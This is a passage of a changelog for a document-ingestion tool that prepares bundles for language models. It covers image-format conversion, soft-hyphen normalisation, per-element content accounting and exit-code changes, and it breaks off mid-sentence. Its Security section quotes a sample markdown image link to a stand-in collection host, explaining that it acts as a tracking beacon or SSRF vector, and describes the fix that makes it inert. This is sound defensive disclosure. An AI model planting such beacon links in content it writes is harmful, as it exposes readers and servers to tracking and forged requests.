# Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [0.10.1] — 2026-09-19 ### Added - **Every carried image is now one a model can be SHOWN, and the ones that cannot be are refused out loud.** Until this round the asset path carried whatever format a publisher shipped. Measured 2026-09-19 over the frozen R761 delivery's own `assets/` (denominator 50): 29 JPEG, 2 PNG and **19 "PC bitmap, Windows 3.x, 8-bit, compression 1"** — RLE8 BMP. The 19 are byte-correct files nothing reads, so 19 of that document's figures were present and invisible at once, with `images: N` reporting that they had arrived. - `assets.VIEWABLE_MEDIA_TYPES` states the set (`image/png`, `image/jpeg`, `image/gif`, `image/webp`) and `read_image` tests every asset's SNIFFED type against it. It is a property, not a list of formats we happened to meet: a format nobody here has seen is refused by the same rule that refuses TIFF. - **BMP is converted losslessly to PNG** — 8-bit uncompressed, 8-bit RLE8 and 24-bit uncompressed. The reader is stdlib (`struct` + the existing `zlib` PNG writer) and adds NO dependency. Pillow was measured first and rejected on two counts: `read_image` is on the CORE path (`.html` and `.xml` carry images with no `[extract]` extra), and an asset's name is its content digest, so encoding through an installed library would make a bundle's identity move with that library's version — the property 0.10.0 felled page rasterisation over. Pillow is the INDEPENDENT decoder in the tests instead. - **Lossless, measured on the real files:** all **19 of 19** R761 RLE8 assets convert with RGB identical to Pillow's decoding of the source, **2 366 365 pixels** compared. - **Traceability per converted asset**, on the pointer line where the rest of the asset metadata already lives: the original media type, the original sha256 in full, and the new one. A converted asset is ONE asset — one file in `assets/`, one pointer, one row in the accounting. - **The ceiling is paid before the pixels exist.** The BMP reader bounds the DECLARED size through the same `check_size` the rest of the image path uses, before a row is allocated, and an RLE run is written as one clipped slice — painting pixel by pixel would leave the memory bounded and the CPU unbounded, since a megabyte of `FF` runs is a hundred million paint steps against a 32-pixel frame. - **Two new codes.** `asset_not_viewable` — a real image in a format no model can be shown and with no lossless conversion here (TIFF, JPEG 2000). `asset_bmp_unsupported` — a BMP variant this reader does not express (RLE4, BITFIELDS, 16/32-bit, BITMAPCOREHEADER, over 256 palette entries). Both leave a "not carried" line in the concept and a row in the run log. - **The cost, measured with a committed script** (`tools/okf_asset_census.py`, one row per image, run from two pinned trees over 18 403 files and 67 PDFs, **9 714 image rows**): exactly **35 rows moved** — 19 BMP now carried as PNG, and **16 JPEG 2000 objects** that stop being carried and become `asset_not_viewable`, because no stdlib route decodes JPEG 2000. **9 321 of 9 321** JPEG and PNG rows are byte-identical on both sides, so not one already-viewable picture changed hands. - **One normalisation door in front of the persist gate: U+00AD is removed and COUNTED** (operator decision 2026-09-18). `llm-ingestion-guard` 1.4.0 keeps the soft hyphen in `_ZERO_WIDTH_CPS`, and `output:zero-width-present` is an any-tier carrier — `fail_secure` at every trust level, no sanitisation, no exception. R761 Prosesskoden:2025 carries 71 of them and 0 of the four real zero-width characters; all 71 are Norwegian hyphenation points inside words, so a 701-page process code was unreadable for the whole chain over typography. `extract.normalise_extracted` removes that one character from every extracted text; `ExtractedDocument.soft_hyphens`, `InboxResult.normalised` and the accounting's `normalised_soft_hyphen` carry the number per document and per run, and `log.md` gains a `**Normalisation**` bullet. The guard is untouched, the other four characters and U+00A0 NBSP are untouched, and a real zero-width character is still `fail_secure`. Reach, measured: **0 of the 78** readable documents of the reference corpus carry any of the six, so no bundle measured here moves. - **`refused` in the accounting: a partial refusal is never silent.** The report and `log.md` now say how many of M documents the run persisted nothing of. The exit code is unchanged — it belongs to the whole run. - **`okf build --accounting PATH`: content accounting per element.** Before extraction, every source document is inventoried in a per-format element vocabulary: headings, paragraphs, tables, cells, images, and so on. After the run, every element gets exactly one fate: `carried`, `pointer` or a coded rejection. The fates are written as JSON to PATH and summarised in `log.md`. The build then exits 1 when any element is unaccounted or booked twice. - **`carried` is checked, not declared.** A persisted document's element is carried when all of its text is found in the concept bodies written for that document (letters and digits, case-folded). A document the gate refused books every element as rejected with the gate's code, and its `log.md` line says what the source held. - **The judge is `tools/okf_accounting_gate.py`**, written red first against an independent witness (`tools/okf_witness.py`, which imports nothing from this package). At this change it is green on all six rows, including R761 Prosesskoden:2025: 110 of 110 units under both the default gate and `--gate none`. - **Opt-in, measured.** On the 43-document reference corpus the build took +744 s (+19 %) and +0.53 GB peak RSS. - **The reference corpus fails the check, with 24 real losses:** 22 images on PDF pages without a text layer, which the reader drops together with the page, and 2 docx Title paragraphs, which the converter moves into metadata. A default-on door would therefore fail builds that pass today. Report: `docs/2026-09-17-innholdsregnskapet-bygget.md`. - **Opt-in by operator decision (2026-09-17)**, until the losses it reports on the reference corpus are fixed. Of the three exceptions the gate proposes, the operator approved the PDF one only; approving it moves no number, because no witness counts a heading in a PDF. - **Limit, measured:** the check proves that a string is present, not where. Short elements such as a section label or a one-word title are often found elsewhere in the same document. With R761's concept text cut to half, 4 823 paragraphs and 3 621 sections were reported lost, but only 3 titles and 16 labels. ### Changed - **`okf build` exits 1 when it extracted at least one document and persisted none.** Until now such a run exited 0, because every refusal was coded and the conservation identity held. The bundle was nonetheless empty. Measured case: guard 1.4.0 refuses R761 Prosesskoden:2025 whole, because of its 71 soft hyphens (U+00AD). Door B's library function (`process_inbox`) and `corpus.measure` are unchanged; for a hostile inbox, "all rejected" is a correct outcome. - In this repository, one test relied on exit 0: `tests/test_cli_gate.py::test_build_refuses_a_document_the_real_guard_refuses`. - No script here does. `okf project` calls the build as a function and is unaffected. - **A file carried through a document is no longer also a coded rejection.** Since 0.10.0, an image beside a document was carried into `assets/` through that document and was ALSO counted as `extractor_unknown`, so one file had two fates. On R761 under `--gate none` that was 50 files. - The conservation identity is now `merged + files carried through a document + coded rejections = N`. - `log.md` writes the middle term only when it is non-zero, so a corpus with no such files keeps its line byte for byte. - The carried files are the references the reader actually resolved and carried (`ExtractedDocument.files`), never a byte match. A byte match would credit R761's 7 unpointed duplicates. - An unpointed file beside a document stays a coded rejection. - **`log.md`'s `Images: C carried of F found`**: with `--accounting`, F is what the SOURCES declare. A refused document's pictures therefore no longer read as "0 of 0 found". ### Security - **A remote image reference is no longer a live markdown image link (0.10.1).** New in 0.10.0: before it, no reader read an `` attribute at all. A document could put `![fig](https://collect.example.net/p.gif?u=...)` into a persisted concept, with the address and query string chosen by whoever wrote the document. This package opens no socket, but a consumer that renders the bundle — or an agent that fetches what it renders — does, which turns "this bundle was opened" into a beacon, and a server-side consumer into an SSRF. The guard refuses such a line at `guard-user-upload` and the build's default tier does not, so the same bytes were persisted under the default and refused one tier up. A remote reference is now inert text with the address in ONE code span, and a property test over the readers asserts that no reference produces a markdown image link outside `assets/`. Found by an independent review of 0.10.0 before it was pushed. - The first fix wrote the address **twice** — once in a code span and once bare — and a GFM/linkify renderer autolinks a bare URL into ``. It takes a click rather than a render, so it is weaker than an image link, but "inert" was half true. The address is now written once. - The first fix also **dropped the caption**: `label` stayed in the signature of the line that says what is missing, and no branch read it, so the alt text or figure caption of an image the bundle does not carry was lost — a regression against 0.10.0 and against that line's own reason for existing. It is written again, in the same `--